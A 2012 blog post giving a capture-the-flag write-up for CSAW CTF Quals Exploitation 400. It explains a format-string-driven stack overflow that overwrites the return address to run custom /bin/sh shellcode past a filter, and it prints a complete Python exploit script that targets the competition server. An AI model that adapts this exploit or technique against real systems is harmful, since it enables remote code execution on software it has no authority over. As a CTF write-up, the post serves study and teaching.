Monday, October 1, 2012

CSAW CTF Quals: Exploitation 400

First, before we begin, I must say this. THIS IS NOT A STRING FORMAT ATTACK! Kind of. It turns out that this challenge has a format string that we can use to generate more characters than the buffer can handle, leading to an overwriting of a return address, giving us control of EIP. The real trick with this one is figuring out where to put stuff in this attack.

The way that we used the format string to overflow the stack was by using '%8c' within our payload. This writes 8 garbage characters, but takes up far fewer bytes of the recv than that. This let us write a lot of characters to the buffer and overflow it. But what to do with the return address?

We kind of derped around a bit trying to do a recv to a big chunk RWX memory in the program but ran into a lot of troubles with null bytes (because it's doing string operations). We eventually realized that there was a reference to the buffer that our initial sent payload at the constant address 0x0804b120 and since the stack is executable, we could just return there to win.

The last thing to try to bypass is the protections within the program against having any string like /bin/sh inside the payload we send. msfvenom was producing some pretty terrible shellcode, so we just wrote our own that did some math to eventually get the stack to have /bin/sh in it after the program checked our payload.

Our winning python script, win.py, is shown below.
import socket, binascii

def recvUntil(socket,until):
 string = ""
 while not until in string:
  string += socket.recv(1)
 print string
 return string

def dofmt(string, returnStdout=True):
 s = socket.socket()
 s.connect(('128.238.66.213', 23456))

 recvUntil(s,"Saying: ")
 string = string.replace("$","\$")
 string = string.replace('"','\\"')
 s.sendall(string+'\n')

 return 'bob'

def endian(s):
 if len(s) < 8:
  s = s.zfill(8)
 return s[6:8]+s[4:6]+s[2:4]+s[0:2]

shellcode = open('payload').read()

win = shellcode
win += '%8c'*(65-(len(shellcode)/8))+'aa'
win += binascii.unhexlify(endian('0804B120'))
print win
dofmt(win)


  -- suntzu_II

No comments:

Post a Comment